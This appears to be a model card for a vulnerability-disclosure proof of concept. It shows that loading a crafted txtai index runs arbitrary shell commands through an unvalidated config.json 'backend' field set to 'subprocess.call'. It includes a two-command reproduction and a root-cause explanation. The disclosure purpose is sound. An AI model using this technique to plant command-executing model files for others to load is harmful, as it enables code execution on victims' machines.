txtai MFV PoC — RCE on Embeddings().load() via config.json (no pickle)
Benign security proof-of-concept for a huntr Model File Vulnerability report. The payload only runs id and writes a local proof file. Do not load untrusted txtai indexes on a machine you care about.
Reproduce in 2 commands (Linux, ~30s)
pip install "txtai==9.11.0" "huggingface_hub"
python -c "from huggingface_hub import snapshot_download; from txtai.embeddings import Embeddings; import os; p=snapshot_download('Faturochman13/huntr-mfv-txtai-config-json-load-rce-poc'); os.chdir(p); Embeddings().load(p)"
Expected result: a file txtai_mfv_rce_proof.txt appears in the snapshot directory containing the output of id — arbitrary command execution triggered purely by loading the index. (id is run via /bin/sh; the load then errors on a missing ids file, which is irrelevant — the code already executed.)
Root cause (one sentence)
config.json field backend flows unvalidated into txtai/util/resolver.py Resolver (__import__+getattr, no allowlist), and txtai/ann/dense/factory.py then calls the resolved object with the config dict — so backend="subprocess.call" runs subprocess.call(config) at Embeddings.load() time, before any index file is read. This uses no pickle, bypassing txtai's ALLOW_PICKLE safe-default. Tested on txtai 9.11.0 (latest).
- Downloads last month
- -